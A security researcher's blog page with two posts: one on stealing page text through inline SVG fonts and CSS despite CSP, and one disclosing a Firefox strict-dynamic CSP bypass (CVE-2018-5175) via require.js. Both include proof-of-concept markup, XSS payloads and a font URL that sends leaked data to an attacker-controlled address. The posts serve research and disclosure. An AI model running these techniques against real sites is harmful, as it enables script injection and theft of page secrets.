Showing posts with label CSP. Show all posts
Showing posts with label CSP. Show all posts

Sunday, November 28, 2021

Data Exfiltration via CSS + SVG Font

This post will show that the SVG fonts and CSS can be used for reading the page's text contents.

There are several known ways to read the page's text contents with CSS. The known techniques are well covered in the following article by Juan Manuel Fernández:

CSS Injection Primitives :: DoomsDay Vault

These techniques can be useful to attackers in some situations, for example, when the input is sanitized and only limitted HTML tags can be used, or JavaScript cannot be used due to the Content Security Policy (CSP) restrictions.

The technique I want to introduce today is one such technique. The basic idea is the same as the following font ligature trick by Michał Bentkowski.

Stealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com

It is the mostly same but I've never seen any article mentioning this and I thought it is worth mentioning because the technique I'll explain here can be useful in the specific situation such as when Michał's technique cannot be used due to the CSP's restriction, so I'm writing this.

Well, in my Japanese blog post, around here, I explained Michał's trick in detail in my words but the person who is reading this can read English, so please read his article first :)

Okay, you've read it, right? As you learned from his article, he used WOFF fonts convereted from SVG fonts. In my trick, I use SVG fonts without converting it. Michał said "browsers have stopped supporting the SVG format in fonts (hence the need to use the WOFF format)" but in fact, Safari still supports it. After all, the trick I am about to introduce is just a replacement of his trick with SVG fonts. But still, the reason I want to dare to introduce this trick is that SVG fonts can be used even when loading fonts is blocked by the CSP's restriction. That is, SVG fonts allow reading text contents even on pages where the CSP prohibits loading fonts. This is because SVG fonts can not only be loaded from URLs, like WOFF fonts, but also all font's components can be defined with in-line without loading from URLs.

Let's see how Michał's trick can be replaced.

In his trick, the WOFF font is loaded via <style>'s @font-face.

<style>
@font-face {
    font-family: "hack";
    src: url(http://192.168.13.37:3001/font/%22/0)
}
[...]
</style>

This style can be replaced with the following inline SVG.

<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000"></font-face>
<glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
[...]
</font>
</defs>
</svg>

Now, if the font-family property is set to "hack" via CSS, the SVG font is applied to the target's text even outside the SVG. This is not blocked by CSP even if the font-src 'none' is set. (Note that to observe the leaked data, this trick uses the background image request as well as Michał's trick, so at least, the host which can observe the request must be allowed in the img-src directive.)

I'll show you the PoC. When there is a vulnerable page like the following,

https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
<script id="leakme" nonce="random">
const secret = "573ba8e9bfd0abd3d69d8395db582a9e";
</script>

<script nonce="random">
const params = (new URL(document.location)).searchParams;
const xss = params.get('xss');
if(xss){
    document.write(xss);
}
</script>
</body>
</html>

I'll show you SVG fonts can leak the "secret" variable.

You can reproduce it by opening the following URL with Safari and clicking the "Go" button. 

PoC: https://l0.cm/svg_font/poc.php

The all code can be found in: https://github.com/masatokinugawa/css-exfiltration-svg-font

If the PoC works correctly, like the following video, multiple new windows will open and after waiting for a while, the secret variable's string will be displayed little by little, like "573b ..." on the page having the "Go" button.

It's almost the same as Michał's PoC, except that it uses SVG fonts, but there are a few changes. In his PoC, he loads the target page into the iframe but in my PoC, I used window.open() instead. This is because Safari blocks all third party cookies by default now and I thought the attack using the iframe is not so realistic PoC for Safari. Also, I changed the way to pass the data.  Here again, due to the third party cookie blocking, the cookie can not be set when the background image is loaded, so I used the session id with the URL parameter instead. 

By the way, if you're used to Chrome, you might wonder why multiple new windows are opened by one click. This is because Safari have the popup blocker but there is no limit to the number of windows that can be opened by one click. Thanks to this, it is possible to efficiently try to read the data using multiple windows. 

That's it. Thanks for reading! I hope this post helps you out.

Thursday, May 24, 2018

CVE-2018-5175: Universal CSP strict-dynamic bypass in Firefox

In this blogpost, I'd like to write about a CSP strict-dynamic bypass vulnerability which is fixed in Firefox 60.

https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175
A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.

What is the "strict-dynamic"?


maybe you should read CSP spec :) https://www.w3.org/TR/CSP3/#strict-dynamic-usage
But for practicing writing in English, I'll explain about strict-dynamic. If you know about strict-dynamic, you don't have to read this section.

The well-known CSP restricts the loading of resources by whitelisting domains.
For example, the following CSP setting allows to load JavaScript only from its own origin and trusted.example.com:
Content-Security-Policy: script-src 'self' trusted.example.com
Thanks to this CSP, even if the page has an XSS vulnerability, the page is prevented to execute JavaScript from the inline scripts or JavaScript file of evil.example.org. It looks safe enough, however, if trusted.example.com has any scripts for bypassing CSP, it is still possible to execute JavaScript. More specifically, if trusted.example.com has a JSONP endpoint, it might be bypassed, like this:
<script src="//trusted.example.com/jsonp?callback=alert(1)//"></script>
If this endpoint reflects the user input passed to the callback parameter to the callback function name directly, it can be used as an arbitrary script as follows:
alert(1)//({});
In additon, it is known that AngularJS also can be used for bypassing CSP. This bypass possibility becomes more realistic, especially if domains hosting many JavaScript files, such as CDN, are allowed.

That way, in the whitelist, it is sometimes difficult to operate the CSP safely. To resolve this problem, strict-dynamic was designed. This is the example of usage:
Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'
This CSP means that the whitelist will be disabled and only scripts having the "secret" string in the nonce attribute will load.
<!-- This will load -->
<script src="//example.com/assets/A.js" nonce="secret"></script>

<!-- This will not load -->
<script src="//example.com/assets/B.js"></script>
The A.js might want to load and use another JavaScript. To allow this, the CSP spec permits to load without the proper nonce attribute if the js having the proper nonce loads an another js in specific conditions.  With the word written in the spec, the non-"parser-inserted" script element can be allowed to execute JavaScript.

Below are concrete examples of what type of JavaScript are permitted:
/* A.js */

//This will load
var script=document.createElement('script');
script.src='//example.org/dependency.js';
document.body.appendChild(script);

//This will not load
document.write("<scr"+"ipt src='//example.org/dependency.js'></scr"+"ipt>");
When loading using createElement(), it's a non-"parser-inserted" script element and the loading is allowed. On the other hand, when loading using document.write(), it is a "parser-inserted" script element and it is not loaded.

Up to this point, I explained about strict-dynamic roughly.

By the way, the strcit-dynamic is bypassable in some cases. In the next, I'll introduce about a known strict-dynamic bypass.

Known strict-dynamic bypass


It is known that strict-dynamic also can be bypassed if a specific library is used in the target page.

By Google's Sebastian Lekies, Eduardo Vela Nava, and Krzysztof Kotowicz, affected libraries are listed here:

Let's look into the strict-dynamic bypass of require.js on this list.
Let's say the target page uses CSP with strict-dynamic, loads require.js and has a simple XSS. In this situation, if the following script element is inserted, an attacker can execute arbitrary JavaScript without the proper nonce.
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<!-- XSS END -->
<script nonce="secret" src="require.js"></script>
When the require.js finds a script element with a data-main attribute, it loads a script specified in the data-main attribute from the equivalent code as below:
var node = document.createElement('script');
node.src = 'data:,alert(1)';
document.head.appendChild(node);
As described before, the strict-dynamic is allowed to load JavaScript from createElement() without the proper nonce.

That way, you can bypass the CSP strict-dynamic in some cases using the behavior of already loaded JavaScript code.

Firefox's vulnerability was caused by this behavior of require.js.
In the next section, I'll explain the vulnerability.

Universal strict-dynamic bypass(CVE-2018-5175)


Firefox implements some browser features using legacy extensions. The legacy extensions means XUL/XPCOM-based extensions that was removed in Firefox 57, not WebExtensions. Even on the latest Firefox 60, the browser internals still uses this mechanism.

In this bypass, we use a resource of the legacy extension which is used in browser internals. In WebExtensions, by setting a web_accessible_resources key in the manifest, the listed resources become accessible from any web pages. The legacy extension has a similar option named contentaccessible flag. In this bypass, it could be used for bypassing CSP because a require.js of browser's internal resource was accessible from any web pages due to the contentaccessible=yes flag.

Let's look into the manifest. If you are using 64bit Firefox on Windows, you can see the manifest from the following URL:

jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest
content branding browser/content/branding/ contentaccessible=yes
content browser browser/content/browser/ contentaccessible=yes
skin browser classic/1.0 browser/skin/classic/browser/
skin communicator classic/1.0 browser/skin/classic/communicator/
content webide webide/content/
skin webide classic/1.0 webide/skin/
content devtools-shim devtools-shim/content/
content devtools devtools/content/
skin devtools classic/1.0 devtools/skin/
locale branding ja ja/locale/branding/
locale browser ja ja/locale/browser/
locale browser-region ja ja/locale/browser-region/
locale devtools ja ja/locale/ja/devtools/client/
locale devtools-shared ja ja/locale/ja/devtools/shared/
locale devtools-shim ja ja/locale/ja/devtools/shim/
locale pdf.js ja ja/locale/pdfviewer/
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
override chrome://global/content/license.html chrome://browser/content/license.html
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml
override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd
resource search-plugins chrome://browser/locale/searchplugins/
resource usercontext-content browser/content/ contentaccessible=yes
resource pdf.js pdfjs/content/
resource devtools devtools/modules/devtools/
resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes

resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes
The yellow part is the part that makes the file accessible from any web sites. These two lines are for creating a resource: URI. The resource devtools devtools/modules/devtools/ of first line is mapping devtools/modules/devtools/ directory ( It exists on jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/ )  to resource://devtools/ .
We can now access files under the directory by opening resource://devtools/ using Firefox. Likewise, the next line is mapping to resource://devtools-client-jsonview/. This URL becomes web-accessible by the contentaccessible=yes flag and we can now load the files placed under this directory from any web pages.
This directory has a require.js which is used for bypassing CSP. Just loading this require.js to the page where the CSP strict-dynamic is used, you can bypass strict-dynamic.
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<script  src="resource://devtools-client-jsonview/lib/require.js"></script>
<!-- XSS END -->
From this code, data: URL will be loaded as a JavaScript resource and it will pop up an alert dialog. 

You might think, "Hmm, why is the require.js loaded? It should be blocked by CSP because the script element does not have the proper nonce."

Actually, no matter how strictly you set CSP rules, the web-accessible resources of the extension is loaded ignoring the CSP. This behavior is mentioned in the CSP spec:

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
Firefox's resource: URI also had this rule. Thanks to this, users can use the extension's features as expected even on the page where the CSP is set, but on the other hand, this privilege sometimes can be used for bypassing the CSP, like this bug's case.
Of course, this issue is not limited to browser internal resources. Even on general browser extensions, the same thing happens if there are web-accessible resources that can be used for bypassing CSP.

It seems that Firefox folks fixed this bug by applying page's CSP to the resource: URI.

In the end of article


I wrote about a CSP strict-dynamic bypass vulnerability of Firefox.

FYI, I found this issue when I was looking for another solution of Cure53 CNY XSS Challenge 2018's third level which I made. In this challenge, I used another trick to bypass strict-dynamic. Please check it if you are interested.

Also, I created a different version of this XSS Challenge and I'm still waiting your answer :)

Lastly, I'd like to thank Google's research which made me notice this bug. Thank you!